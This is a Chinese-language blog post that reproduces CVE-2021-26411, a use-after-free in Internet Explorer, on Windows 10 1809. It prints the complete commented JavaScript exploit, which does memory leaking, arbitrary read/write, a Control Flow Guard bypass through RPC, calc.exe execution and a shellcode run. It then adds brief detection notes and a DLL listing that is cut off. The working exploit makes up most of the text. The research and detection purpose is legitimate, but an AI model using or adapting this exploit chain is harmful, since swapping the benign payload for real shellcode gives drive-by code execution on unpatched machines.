windows 10下复现CVE-2021-26411漏洞和检测分析
CVE-2021-26411复现,学习JavaScript之POC源码分析
概述
CVE-2021-26411,该漏洞的原因:removeAttributeNode()
触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes()
,导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF(Use After Free)。
参考分析链接
国内链接
CVE-2021-26411在野样本中利用RPC绕过CFG缓解技术的研究 (qq.com)
IE浏览器在野0Day CVE-2021-26411漏洞分析 (qq.com)
原作者链接
https://enki.co.kr/blog/2021/02/04/ie_0day.html
平台环境
Win10 1809 17763 ==》 下载地址:https://hellowindows.cn/
商业-批量版 64位 2019-09-17 发布
文件:cn_windows_10_business_editions_version_1809_updated_sept_2019_x64_dvd_f873d037.iso 我是下载的这个版本复现
大小:5.07GB
SHA1:975f1b3acbeece56b5ad1526345a0657109f4043
VmWare 16.1.1 build-17801498
复现效果展示
POC源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 | <!-- IE Double Free 1Day Poc --> <! doctype html> < html lang="zh-cmn-Hans"> < head > < meta http-equiv="Cache-Control" content="no-cache"> </ head > < body > < script language="javascript"> // 重复字符串 String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { // 提取倒数第四个字符开始的字符串,效果就是补0 return ('0000' + str).slice(-4) } // Access of Resource Using Incompatible Type ('Type Confusion') function alloc1() { // DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。 var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) // 创建并返回一个新的属性节点 var result = document.createAttribute('alloc') // 对escape()编码的字符串进行解码 result.nodeValue = unescape(str) return result } function alloc2() { // 创建字典对象 var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') // 增加新项,dic.add(key,value) dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, arr) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { // ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。 // 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它 var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } // 在原型对象上定义属性 function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 // 返回调用该方法的节点的一个副本. hd2 = hd1.cloneNode() } // 小端序读取 function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: // getUint16(byteOffset [, littleEndian]) return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } function writeData(addr, data) { for (var i = 0; i < data.length; ++i) write(addr + i, data[i], 8) } function addrOf(obj) { arr[0] = obj return read(pArr, 32) } function strcmp(str1, str2) { // typeof 操作符返回一个字符串,表示未经计算的操作数的类型。 str1 = (typeof str1 == 'string') ? str1 : toStr(str1) str2 = (typeof str2 == 'string') ? str2 : toStr(str2) return str1.toLowerCase() == str2.toLowerCase() } function memcpy(dst, src, size) { for (var i = 0; i < size; ++i) write(dst + i, read(src + i, 8), 8) } function toStr(addr) { var str = '' while (true) { var c = read(addr, 8) // 遇到终结符就退出循环 if (c == 0) break // 返回由指定的 UTF-16 代码单元序列创建的字符串 str += String.fromCharCode(c) addr++ } return str } function newStr(str) { var buffer = createArrayBuffer(str.length + 1) for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8) // 写入字符串终结符 write(buffer + i, 0, 8) return buffer } // PE文件相关操作函数 function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && isPE(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function isPE(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function winVer() { // 返回浏览器的平台和版本信息 var appVersion = window.navigator.appVersion var ver = 0 // 检测一个字符串是否匹配某个模式,javaScript正则表达式 if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) { ver = 100 } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) { ver = 81 } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) { ver = 80 } else { ver = 70 } return ver } function createArrayBuffer(size) { var ab = new ArrayBuffer(size) var bs = read(addrOf(ab) + 0x1c, 32) // 设置键值对 map.set(bs, ab) return bs } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non ; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) } function readyRpcCall(func) { var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation') var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo') var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable') write(RPC_DISPATCH_TABLE_Buffer, func, 32) } function setArgs(args) { var buffer = createArrayBuffer(48) for (var i = 0; i < args.length; ++i) { write(buffer + i * 4, args[i], 32) } _RPC_MESSAGE.set(msg, 'Buffer', buffer) _RPC_MESSAGE.set(msg, 'BufferLength', 48) _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000) return buffer } function callRpcFreeBufferImpl() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer) return call(rpcFree) } function callRpcFreeBuffer() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') var result = read(buffer, 32) callRpcFreeBufferImpl() return result } function call2(func, args) { readyRpcCall(func) var buffer = setArgs(args) call(msg) map.delete(buffer) return callRpcFreeBuffer() } function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) // 错误处理 try { // rpcrt4!NdrServerCall2 xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32) memcpy(addr, patt, cbase.size()) memcpy(buf, vft, cattr.size()) cbase.set(addr, 'pvftable', buf) cattr.set(buf, 'normalize', func) } function createBase() { var isWin7 = winVer() == 70 var size = isWin7 ? 560 : 572 var offset = isWin7 ? 540 : 548 var addr1 = createArrayBuffer(size + cbase.size()) var addr2 = createArrayBuffer(48) write(addr1 + offset, addr2, 32) write(addr2 + 40, 8, 32) write(addr2 + 36, 8, 32) return { size: size, addr: addr1 } } function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32) } // 自定义结构体的操作 function SymTab(size, sym) { this.size = function() { return size } this.set = function(addr, name, value) { var o = sym[name] write(addr + o.offset, value, o.size) } this.get = function(addr, name) { var o = sym[name] return read(addr + o.offset, o.size) } } // 构造RPC function initRpc() { var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0] var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2') var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate') var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree') var RPCMessageObject = createArrayBuffer(cbase.size()) var buffer = createArrayBuffer(0x100) var buffer2 = createArrayBuffer(0x200) var AttributeVtable = read(patt, 32) var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size()) var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size()) var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size()) var rpcProcStringBuffer = createArrayBuffer(data.length) writeData(rpcProcStringBuffer, data) var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size()) var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size()) var NdrServerCall2Buffer = createArrayBuffer(4) write(NdrServerCall2Buffer, NdrServerCall2, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 0x40, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2) cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68) write(RPCMessageObject + 76, 1, 32) syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32)) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size()) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000) _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16) _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000) _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer) _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48) return RPCMessageObject } function rpcFree() { var Cbase = createArrayBuffer(cbase.size()) var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer') var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var AttributeVtable = read(patt, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 64, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer) cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer) cbase.set(Cbase, 'pSecurityContext', Cbase + 68) write(Cbase + 76, 1, 32) return Cbase } function CFGObject(baseAddress) { var PEAddr = isPE(baseAddress) var eat = PEAddr + 120 var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32) var size = read(LOAD_CONFIG_DIRECTORY, 32) var sizeOfImage = read(PEAddr + 0x50, 32) var CFGSymbolTable = new SymTab(0x5c, { '___guard_check_icall_fptr': { offset: 72, size: 32 } }) var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr') this.getCFGAddress = function() { return guard_check_icall_fptr_address } this.getCFGValue = function() { if (size < CFGSymbolTable.size()) return false var currentCFGValue = read(guard_check_icall_fptr_address, 32) var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage) return !isValidAddress; } } function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet // 关闭rpcrt4的CFG检查 write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) // 恢复PRCRT4!__gurad_check_icall_fptr内存属性 call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map.delete(tmpBuffer) } // {} 表示对象 // 属性:属性值 var cbase = new SymTab(0x60, { 'pvftable': { offset: 0x0, size: 32 }, 'pSecurityContext': { offset: 0x44, size: 32 } }) var cattr = new SymTab(0x32c, { '__vtguard': { offset: 0x48, size: 32 }, 'SecurityContext': { offset: 0xc8, size: 32 }, 'JSBind_TypeId': { offset: 0x160, size: 32 }, 'JSBind_InstanceOf': { offset: 0x164, size: 32 }, 'normalize': { offset: 0x28c, size: 32 } }) var syntaxObject = new SymTab(0x14, { 'SyntaxVersion.MajorVersion': { offset: 0x10, size: 16 } }) var PRPC_CLIENT_INTERFACE = new SymTab(0x44, { 'Length': { offset: 0, size: 32 }, 'InterfaceId.SyntaxVersion.MajorVersion': { offset: 20, size: 16 }, 'TransferSyntax.SyntaxVersion.MajorVersion': { offset: 40, size: 16 }, // 保存了runtime库和Stub函数的接口指针 'DispatchTable': { offset: 44, size: 32 }, // 指向MIDL_SERVER_INFO结构 'InterpreterInfo': { offset: 60, size: 32 }, 'Flags': { offset: 64, size: 32 } }) // 保存了服务端IDL接口信息 var _MIDL_SERVER_INFO_ = new SymTab(0x20, { 'pStubDesc': { offset: 0, size: 32 }, // 保存了服务端提供的远程调用例程的函数指针数组 'DispatchTable': { offset: 4, size: 32 }, 'ProcString': { offset: 8, size: 32 }, 'FmtStringOffset': { offset: 12, size: 32 } }) var _MIDL_STUB_DESC = new SymTab(0x50, { 'RpcInterfaceInformation': { offset: 0, size: 32 }, 'pfnAllocate': { offset: 4, size: 32 }, 'pfnFree': { offset: 8, size: 32 }, 'pFormatTypes': { offset: 32, size: 32 }, 'fCheckBounds': { offset: 36, size: 32 }, 'Version': { offset: 40, size: 32 }, 'MIDLVersion': { offset: 48, size: 32 }, 'mFlags': { offset: 64, size: 32 } }) var RPC_DISPATCH_TABLE = new SymTab(12, { 'DispatchTableCount': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, }) var _RPC_MESSAGE = new SymTab(0x2c, { 'Handle': { offset: 0, size: 32 }, 'DataRepresentation': { offset: 4, size: 32 }, // 存放函数的参数 'Buffer': { offset: 8, size: 32 }, 'BufferLength': { offset: 12, size: 32 }, 'TransferSyntax': { offset: 20, size: 32 }, // 指向RPC_SERVER_INTERFACE 'RpcInterfaceInformation': { offset: 24, size: 32 }, 'RpcFlags': { offset: 40, size: 32 } }) var god // 对象数组 var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() // 创建一个HTML 属性对象 var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 // 创建一个HTML 元素对象 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue // 回调时,清除ele对象绑定的所有属性 ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) // 触发valueof函数回调 ele.removeAttributeNode(att) hd0.nodeValue = alloc var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll') var msvcrt = getDllBase(jscript9, 'msvcrt.dll') var ntdll = getDllBase(msvcrt, 'ntdll.dll') var kernelbase = getDllBase(msvcrt, 'kernelbase.dll') var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect') var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA') var xyz = document.createAttribute('xyz') var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() var msg = initRpc() var rpcFree = rpcFree() killCfg(rpcrt4) // 调用API,弹出计算器 var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)]) var WinExec = getProcAddr(kernel32,'WinExec') call2(WinExec,[newStr('calc.exe'),5]) // 调用shellcode var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) // 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框 alert(result.toString(16)) </script> </ body > </ html > |
注意细节:我是本地保存html,然后打开复现的,
C:\Users\bonelee\Desktop\1809.html
如果是放在服务器下运行然后访问,则不会弹出计算器。但是会有弹窗,如下:
我们使用proc exp采集下数据:
可以看到ie并没有calc的自进程!从其加载的dll里,可以看到有mshtml.dll!
可以看到是svchost出来的。
我们重点看下ie加载的dll清单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | Process: iexplore.exe Pid: 2280 Name Description Company Name Path {6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db {AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db C:\Users\bonelee\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db {DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db advapi32.dll Advanced Windows 32 Base API Microsoft Corporation C:\Windows\SysWOW64\advapi32.dll apphelp.dll 应用程序兼容性客户端库 Microsoft Corporation C:\Windows\SysWOW64\apphelp.dll bcrypt.dll Windows Cryptographic Primitives Library (Wow64) Microsoft Corporation C:\Windows\SysWOW64\bcrypt.dll bcryptprimitives.dll Windows Cryptographic Primitives Library Microsoft Corporation C:\Windows\SysWOW64\bcryptprimitives.dll C_1252.NLS C:\Windows\System32\C_1252.NLS cfgmgr32.dll Configuration Manager DLL Microsoft Corporation C:\Windows\SysWOW64\cfgmgr32.dll clbcatq.dll COM+ Configuration Catalog Microsoft Corporation C:\Windows\SysWOW64\clbcatq.dll combase.dll Microsoft COM for Windows Microsoft Corporation C:\Windows\SysWOW64\combase.dll comctl32.dll 用户体验控件库 Microsoft Corporation C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll comctl32.dll 用户体验控件库 Microsoft Corporation C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.737_none_4d637a531b9a7e51\comctl32.dll comdlg32.dll Common Dialogs DLL Microsoft Corporation C:\Windows\SysWOW64\comdlg32.dll coml2.dll Microsoft COM for Windows Microsoft Corporation C:\Windows\SysWOW64\coml2.dll CoreMessaging.dll Microsoft CoreMessaging Dll Microsoft Corporation C:\Windows\SysWOW64\CoreMessaging.dll CoreUIComponents.dll Microsoft Core UI Components Dll Microsoft Corporation C:\Windows\SysWOW64\CoreUIComponents.dll crypt32.dll Crypto API32 Microsoft Corporation C:\Windows\SysWOW64\crypt32.dll cryptbase.dll Base cryptographic API DLL Microsoft Corporation C:\Windows\SysWOW64\cryptbase.dll cryptsp.dll Cryptographic Service Provider API Microsoft Corporation C:\Windows\SysWOW64\cryptsp.dll cversions.2.db C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db cversions.2.db C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db d2d1.dll Microsoft D2D Library Microsoft Corporation C:\Windows\SysWOW64\d2d1.dll d3d11.dll Direct3D 11 Runtime Microsoft Corporation C:\Windows\SysWOW64\d3d11.dll DataExchange.dll Data exchange Microsoft Corporation C:\Windows\SysWOW64\DataExchange.dll dcomp.dll Microsoft DirectComposition Library Microsoft Corporation C:\Windows\SysWOW64\dcomp.dll directmanipulation.dll Microsoft Direct Manipulation Component Microsoft Corporation C:\Windows\SysWOW64\directmanipulation.dll dwmapi.dll Microsoft Desktop Window Manager API Microsoft Corporation C:\Windows\SysWOW64\dwmapi.dll DWrite.dll Microsoft DirectX Typography Services Microsoft Corporation C:\Windows\SysWOW64\DWrite.dll dxgi.dll DirectX Graphics Infrastructure Microsoft Corporation C:\Windows\SysWOW64\dxgi.dll efswrt.dll Storage Protection Windows Runtime DLL Microsoft Corporation C:\Windows\SysWOW64\efswrt.dll gdi32.dll GDI Client DLL Microsoft Corporation C:\Windows\SysWOW64\gdi32.dll gdi32full.dll GDI Client DLL Microsoft Corporation C:\Windows\SysWOW64\gdi32full.dll ieapfltr.dll Microsoft SmartScreen Filter Microsoft Corporation C:\Windows\SysWOW64\ieapfltr.dll ieframe.dll Internet 浏览器 Microsoft Corporation C:\Windows\SysWOW64\ieframe.dll ieframe.dll.mui Internet 浏览器 Microsoft Corporation 